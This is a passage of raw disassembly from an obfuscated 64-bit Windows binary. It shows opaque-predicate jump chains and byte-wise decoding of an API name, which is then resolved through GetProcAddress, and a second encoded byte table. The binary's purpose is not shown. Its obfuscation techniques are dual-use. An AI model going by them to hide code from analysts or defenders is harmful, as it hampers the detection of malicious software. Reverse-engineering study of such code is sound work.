lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x1401733ab
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x140172b38
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x140172afd
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x140172ae3
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x140172cf0
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x140172c64
lea r8, [r9 + 0x64]
lea r9, [r8 + 0xa]
lea rax, [r9 + 3]
cmp r8, rax
ja 0x140172c3d
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x140172c18
lea rax, [r9 + 4]
cmp r8, rax
ja 0x140172bf4
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x140172bd0
lea rax, [r9 + 5]
cmp r8, rax
ja 0x140172bad
lea rax, [r9 + 2]
cmp r8, rax
ja 0x140172b99
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x140172b73
lea r8, [r9 + 0x41]
lea r9, [r8 + 0x200]
jmp 0x140172990
lea rcx, [r11 + rdx]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x18
jmp 0x140172980
movabs rdx, 0x16f3f3d0820fd738
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, 0x3c
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
movabs rcx, 0xb32b000031d594d8
movabs rdx, 0x4065c30d7a9e1628
jmp 0x140172907
movabs rdx, 0xed82249389819848
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
movabs rcx, 0xb32b000031d594d8
movabs rdx, 0x4065c30d7a9e1628
jmp 0x140172886
movabs rcx, 0x467461879d9028e0
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x20
dec r11
jmp 0x14017338f
movabs rdx, 0x1d02924aa501e9f0
mov ecx, reloc.WS2_32.dll_getservbyport
jmp 0x140173256
movabs rcx, 0xf390c30dac73ab00
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
add r8, r9
jmp 0x1401732bb
movabs rcx, 0xca1ef3d0b3e56c10
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 0x70
jmp 0x1401732bb
movabs rdx, 0xa0ad2493bb572d20
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
jmp 0x1401732f0
movabs rdx, 0x773b5556c2c8ee30
add rdx, r11
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x50
add bl, dl
jmp 0x140173327
movabs rdx, 0x4dc98619ca3aaf40
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, 0x20
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
jmp 0x140173380
movabs rcx, 0x934961876bba9408
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x38
cmp r8, 0x2a
jae 0x1401730da
lea rax, [r9 + 0x400]
cmp r8, rax
jbe 0x140173014
movabs rcx, 0xa33a30c3cec81470
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x10
cmp r9, 0x200
jb 0x1401730cd
movabs rdx, 0x41ac4925845689d0
add rdx, r11
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, dl
lea ebx, [rcx*2 - 0x60]
jmp 0x1401731e6
movabs rdx, 0x69d7924a732c5518
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, 0x2c
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
lea rax, [r8 + r9]
cmp rax, 9
je 0x140173102
lea rax, [r9 + 2]
cmp r8, rax
jbe 0x140172f56
movabs rcx, 0xf00f30c39cf27f98
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x28
jmp 0x140172c82
movabs rcx, 0x330200012b017d10
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x70
jmp 0x140173380
movabs rdx, 0xe01e618739e4ff30
add rdx, r11
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x50
add bl, dl
jmp 0x1401732f3
movabs rdx, 0xb6ac924a4156c040
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, 0x20
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
jmp 0x1401732bb
movabs rcx, 0x8d3ac30d48c88150
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x30
add r8, r9
jmp 0x1401732bb
movabs rdx, 0x63c8f3d0503a4260
mov ecx, gethostbyaddr
jmp 0x140173256
movabs rcx, 0x3a57249357ac0370
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 0x10
dec r11
jmp 0x14017338f
movabs rcx, 0x10e555565f1dc480
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
add bl, 0x80
inc r9
dec r11
jmp 0x14017338f
movabs rdx, 0xe7738619668f8590
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, 8
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x1401731e6
lea rax, [r9 + 0x40]
cmp r8, rax
jae 0x140172e9c
movabs rcx, 0x14b8e79e7c471f78
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x48
jmp 0x140172d12
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140172ecc
movabs rdx, 0x6656000063ab29b0
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, 0x18
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
jmp 0x140173380
inc rax
cmp r8, rax
jne 0x140172ef7
movabs rcx, 0xe2ab6db74d55e680
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
add bl, 0x80
jmp 0x1401732bb
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140172f26
movabs rcx, 0x5f00db6e3700a350
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x30
dec r11
jmp 0x14017338f
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140172d12
movabs rcx, 0xb1e479e8281d2130
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x50
jmp 0x1401731e6
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140172f86
movabs rdx, 0x198100009580be88
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, 0x24
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
jmp 0x1401731e6
inc rax
cmp r8, rax
jne 0x140172fb8
movabs rdx, 0xbf483cf477b9ba48
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
add r8, r9
jmp 0x1401732bb
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140172fe4
movabs rcx, 0x122bdb6e68d63828
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x18
jmp 0x1401732f3
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140172c82
movabs rcx, 0x650f79e859f2b608
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x38
jmp 0x140173380
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x140173044
movabs rdx, 0xccac0000c7565360
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, gethostbyaddr
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x140173380
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140173071
movabs rdx, 0x1f8f9e7ab872d140
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, 0x20
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
jmp 0x1401732f0
lea rax, [rcx + 1]
cmp r8, rax
jne 0x14017309d
movabs rcx, 0x49016db7b1011030
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x50
jmp 0x1401732bb
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140172cba
movabs rcx, 0x183a79e88bc84ae0
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x20
jmp 0x1401731e6
mov byte [rbp + r11 + 0x21a8], bl
jmp 0x14017338f
movabs rdx, 0x6b1e18627ce4c8c0
add rdx, r11
movzx eax, dl
and al, r10b
add al, al
movzx ebx, byte [rbp + r11 + 0x21a8]
sub bl, al
sub bl, 0x40
jmp 0x140173264
movabs rdx, 0x948fe79f757307b0
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, 0x18
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r11 + 0x21a8]
add bl, r10b
add bl, dl
jmp 0x1401732f3
movabs rdx, 0x282b4924eed5cb48
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
jmp 0x140173380
movabs rcx, 0xfeb979e7f6478c58
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x68
jmp 0x140173327
movabs rcx, 0xabd5db6e052b0e78
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x48
jmp 0x1401732bb
movabs rdx, 0x2f806db71b8051a8
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_gethostbyname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
dec r11
jmp 0x14017338f
movabs rcx, 0xdc9ccf3d2a63d3c8
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x78
movabs rdx, 0x566530c4009da948
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, 4
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
mov byte [rbp + r11 + 0x21a8], cl
inc r9
dec r11
jmp 0x14017338f
movabs rdx, 0x6047618640b916f8
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, 0x1c
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
inc r9
dec r11
jmp 0x14017338f
movabs rdx, 0xd63c30c4f9c9918
mov ecx, 0x2c
add rdx, r11
movzx eax, dl
and al, r10b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
movabs rdx, 0x7fd70000f92be838
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, 0x3c
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
add cl, bl
mov byte [rbp + r11 + 0x21a8], cl
add r8, r9
jmp 0x1401732bb
movabs rdx, 0xba8024925e801b38
add rdx, r11
movzx eax, dl
and al, dil
mov ecx, 0x3c
sub cl, al
lea ebx, [rcx + rcx]
add bl, dil
add bl, dl
movzx eax, bl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
jmp 0x14017338f
mov r10, rdi
movabs rcx, 0x910e555565f1dc48
add rcx, r11
and dil, cl
mov eax, 4
sub al, dil
lea ebx, [rax + rax]
add bl, cl
add bl, r10b
movabs rdx, 0xa948cf3df1ba2728
add rdx, r11
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x18
add cl, dl
movzx eax, cl
mov byte [rbp + r11 + 0x21a8], al
inc r9
add rax, r9
sub r11, rax
movabs rcx, 0xbe01b6dc6e0146a0
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x60
add cl, r10b
mov byte [rbp + r11 + 0x21a8], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add r11, rax
jmp 0x140173380
movabs rdx, 0x3e2ab6db74d55e68
add rdx, r11
movzx eax, dil
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, dil
movzx eax, byte [rbp + r11 + 0x21a8]
add rax, r9
add r11, rax
inc r11
movabs rcx, 0xb32b000031d594d8
movabs rdx, 0x4065c30d7a9e1628
jmp 0x140172873
movabs rcx, 0xc410555690f35958
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x68
movabs rcx, 0xb32b000031d594d8
jmp 0x140172870
movabs rdx, 0x9a9e861998651a68
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
movabs rcx, 0xb32b000031d594d8
movabs rdx, 0x4065c30d7a9e1628
jmp 0x140172860
lea rdx, [rbp + 0x1494648]
jmp 0x14017342c
lea rdx, [rbp + 0x5065c0]
jmp 0x14017342c
lea rdx, [rbp + 0x21a8]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor esi, esi
test rax, rax
jne 0x140173446
mov edi, 0xc0000008
jmp 0x140173569
mov ebx, dword [rax + 4]
mov dword [0x1404e9d1c], ebx
mov dword [rbp + 0x363c], esi
xor edx, edx
mov r8d, 0x200
lea rcx, [rbp + 0x3640]
call sub.VCRUNTIME140.dll_memset
xor eax, eax
mov qword [rbp + 0x3840], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x3848], xmm0
movups xmmword [rbp + 0x3858], xmm0
mov qword [rbp + 0x3868], rax
movups xmmword [rbp + 0x3870], xmm0
mov dword [rbp + 0x3880], eax
mov dword [rbp + 0x3884], esi
mov qword [rbp + 0x3888], rsi
mov qword [rbp + 0x3890], rsi
mov dword [rbp + 0x3898], esi
mov qword [rbp + 0x38a0], rsi
mov qword [rbp + 0x38a8], rax
mov dword [rbp + 0x38b0], eax
mov dword [rbp + 0x38b4], esi
mov dword [rbp + 0x38b8], esi
mov dword [rbp + 0x38bc], esi
mov word [rbp + 0x38c0], si
movups xmmword [rbp + 0x38c8], xmm0
movups xmmword [rbp + 0x38d8], xmm0
mov qword [rbp + 0x38e8], rax
mov qword [rbp + 0x3630], 0xaed0de
mov dword [rbp + 0x3638], 1
mov eax, dword [0x1404e9e80]
mov ecx, dword [0x1404e9e0c]
mov edx, dword [0x1404e9e70]
test ebx, ebx
je 0x140173566
mov dword [rsp + 0x50], eax
lea rax, [rbp + 0x3630]
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x40], ecx
mov qword [rsp + 0x38], rsi
mov dword [rsp + 0x30], edx
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call fcn.1401b55e0
mov rdi, rax
test eax, eax
js 0x140173566
cmp dword [rbp + 0x363c], 0x10000
je 0x140173569
mov edi, r15d
mov byte [rbp + 0xd91], 3
mov byte [rbp + 0xd92], 5
mov byte [rbp + 0xd93], 5
mov byte [rbp + 0xd94], 0x1a
mov byte [rbp + 0xd95], reloc.WS2_32.dll_recv
mov byte [rbp + 0xd96], reloc.WS2_32.dll_select
mov byte [rbp + 0xd97], 0x1e
mov byte [rbp + 0xd98], gethostbyaddr
mov byte [rbp + 0xd99], 4
mov byte [rbp + 0xd9a], 0x28
mov byte [rbp + 0xd9b], 0x8c
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xd9c], xmm0
mov dword [rbp + 0xdac], eax
movabs r15, 0x4e3754a5c2ab0671
movzx r11d, byte [rbp + 0x5d00]
nop word [rax + rax]
mov r8, qword [0x1404e9d00]
mov r9, qword [0x1404e9cf8]
nop
mov rbx, rsi
movabs rcx, 0x347c8a204638e7ed
cmp rbx, 0x1f
jae 0x1401742c6
movzx r10d, byte [rbp + rbx + 0xd91]
mov rdx, r10
cmp r8, rbx
ja 0x1401742bd
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14017363e
add rcx, rbx
mov rax, rdx
and rax, rcx
imul r11, rax, 0xfffffffffffffffe
add r11, rdx
add r11, rcx
sub r11b, 0x7b
jmp 0x140173670
je 0x140174236
lea rax, [r9 + 2]
cmp r8, rax
je 0x140174194
lea rax, [r9 + 5]
cmp r8, rax
je 0x140174158
lea rax, [r9 + 4]
cmp r8, rax
je 0x14017412d
nop dword [rax + rax]
cmp r9, rbx
ja 0x1401742b4
lea rax, [r9 + 0x28]
cmp r8, rax
jae 0x14017369e
lea rdx, [rbx + r15]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x17
add r11b, dl
jmp 0x1401736d1
lea rax, [r9 + 1]
cmp r8, rax
je 0x1401740d5
inc rax
cmp r8, rax
je 0x140174086
lea rax, [r9 + 3]
cmp r8, rax
je 0x14017405e
lea rax, [r9 + 8]
cmp r8, rax
je 0x140174028
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x140173d5d
nop
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x140173d37
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x140173d05
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x140173cd6
lea rax, [r9 + 9]
cmp r8, rax
je 0x140173cb0
lea rax, [r9 + 3]
cmp r8, rax
je 0x140173c87
lea rax, [r9 + 8]
cmp r8, rax
je 0x140173c5e
lea rax, [r9 + 2]
cmp r8, rax
je 0x140173c35
lea rax, [r9 + 6]
cmp r8, rax
je 0x140173c0c
lea rax, [r9 + 1]
cmp r8, rax
je 0x140173bd2
lea rax, [r9 + 5]
cmp r8, rax
je 0x1401736e0
lea r8, [r9 + 0x64]
lea r9, [r8 + 0x2a]
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x14017428f
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x14017426a
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1401738cf
lea rax, [r9 + 4]
cmp r8, rax
jb 0x1401738a7
lea rax, [r9 + 9]
cmp r8, rax
jb 0x14017387f
lea rax, [r9 + 3]
cmp r8, rax
jb 0x140173b6f
lea rax, [r9 + 8]
cmp r8, rax
jb 0x140173b0d
lea rax, [r9 + 2]
cmp r8, rax
jb 0x140173ab7
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x140173a87
lea rax, [r9 + 1]
cmp r8, rax
jb 0x1401736e0
lea r8, [r9 + 0x20]
lea r9, [r8 + 0x61]
lea rax, [r9 + 6]
cmp r8, rax
ja 0x140173a51
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x140173a28
lea rax, [r9 + 5]
cmp r8, rax
ja 0x1401739ff
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x1401739d6
lea rax, [r9 + 4]
cmp r8, rax
ja 0x1401739ad
lea rax, [r9 + 9]
cmp r8, rax
ja 0x140173987
lea rax, [r9 + 3]
cmp r8, rax
ja 0x140173958
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x140173926
lea rax, [r9 + 2]
cmp r8, rax
ja 0x140173900
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1401736e0
lea r8, [r9 + 8]
lea r9, [r8 + 1]
jmp 0x1401736e0
movabs rdx, 0x7f9eff8620e5edaf
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x37
add r11b, dl
jmp 0x1401736d1
movabs rdx, 0x16a5eb4594741dd5
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x2d
add r11b, dl
jmp 0x140173670
movabs rdx, 0xadacd70508024dfb
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add dl, 0x23
add r11b, dl
movabs rcx, 0x347c8a204638e7ed
jmp 0x140173610
movabs rdx, 0x71baa52e15583388
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x1401740f5
movabs rdx, 0x8c190ed88e663ae
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 0x1f
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
inc r9
dec rbx
inc rbx
jmp 0x1401735f3
movabs rdx, 0x9fc87cacfc7493d4
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 0x1a
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
dec rbx
inc rbx
jmp 0x1401735f3
movabs rdx, 0x36cf686c7002c3fa
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x1401740a6
movabs rdx, 0xcdd6542be390f420
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x140174178
movabs rdx, 0x64dd3feb571f2446
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_inet_addr
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x14017417b
movabs rdx, 0xfbe42baacaad546c
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 6
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1401741b5
movabs rdx, 0x92eb176a3e3b8492
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 1
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1401741e8
movabs rcx, 0x29f20329b1c9b4b8
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 8
movzx eax, byte [rbp + rbx + 0xd91]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1401735f3
movabs rcx, 0x2383508852ad2d17
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x5f
mov byte [rbp + rbx + 0xd91], r11b
inc rbx
jmp 0x1401735f3
movabs rdx, 0xba8a3c47c63b5d3d
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x55
add r11b, dl
cmp r9, 0x80
jb 0x140173aa7
movabs rdx, 0xe99f08dbfaac686e
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, dl
lea r11d, [rcx*2 - 4]
jmp 0x1401740f8
movabs rdx, 0x5191280739c98d63
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x4b
add r11b, dl
cmp r8, 0x1000
jae 0x140173fc9
lea rax, [r9 + 5]
cmp r8, rax
jbe 0x140173efc
movabs rdx, 0xcfe43e567e3a49ea
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x66
jmp 0x140173ad7
movabs rdx, 0xe89813c6ad57bd89
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x41
add r11b, dl
lea rax, [r9 + r8]
cmp rax, 0x5a
je 0x140173ff7
lea rax, [r9 + 0xa]
cmp r8, rax
jbe 0x140173e67
movabs rdx, 0x81ace9b0bb8f4379
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x4f
jmp 0x140173b2d
movabs rdx, 0xd54bfbe2900226a6
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 0x3b
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, byte [rbp + rbx + 0xd91]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1401735f3
movabs rdx, 0x6c52e7a2039056cc
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, getservbyname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1401741e8
movabs rdx, 0x359d361771e86f2
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, gethostbyaddr
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1401741b5
movabs rdx, 0x9a60bf20eaacb718
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 0x2c
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x14017417b
movabs rdx, 0x3167aae05e3ae73e
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 0x27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x140174178
movabs rdx, 0xc86e969fd1c91764
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 0x22
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x1401740a6
movabs rdx, 0x5f75825f4557478a
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 0x1d
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
dec rbx
inc rbx
jmp 0x1401735f3
movabs rdx, 0xf67c6e1eb8e577b0
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 0x18
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
inc r9
dec rbx
inc rbx
jmp 0x1401735f3
movabs rdx, 0x8d8359de2c73a7d6
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x1401740f5
lea rax, [r9 + 0x41]
cmp r8, rax
jae 0x140173d8b
movabs rdx, 0x347c8a204638e7ed
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x7b
jmp 0x140173b8f
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140173dca
movabs rcx, 0x9c6ea94b85560ce2
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x2e
movzx eax, byte [rbp + rbx + 0xd91]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1401735f3
inc rax
cmp r8, rax
jne 0x140173dfa
movabs rdx, 0x567bd8c11c7dcbc
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x24
add r11b, dl
jmp 0x1401741e8
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140173e2b
movabs rdx, 0x6e60d1cc9e39ac96
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x1a
add r11b, dl
jmp 0x1401741b5
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140173b92
movabs rdx, 0x124522ced000ebfe
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 7
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
dec rbx
inc rbx
jmp 0x1401735f3
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140173e94
movabs rcx, 0xeaa5fdf148011353
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x45
jmp 0x1401740f8
inc rax
cmp r8, rax
jne 0x140173eca
movabs rcx, 0x539f1231d472e32d
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x3b
inc r9
dec rbx
inc rbx
jmp 0x1401735f3
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140173b30
movabs rcx, 0x8e8a4ef379c852bb
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x1d
jmp 0x140174178
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140173f3b
movabs rcx, 0x38dd52970aac19c4
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x5c
movzx eax, byte [rbp + rbx + 0xd91]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1401735f3
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140173f69
movabs rcx, 0x73c88f58b0018952
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x3e
jmp 0x14017417b
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140173f97
movabs rdx, 0x45bab7d9c8e52906
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x2a
jmp 0x1401740a6
lea rax, [r9 + 8]
cmp r8, rax
jne 0x140173ada
movabs rdx, 0x80a5f49b6e3a9894
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
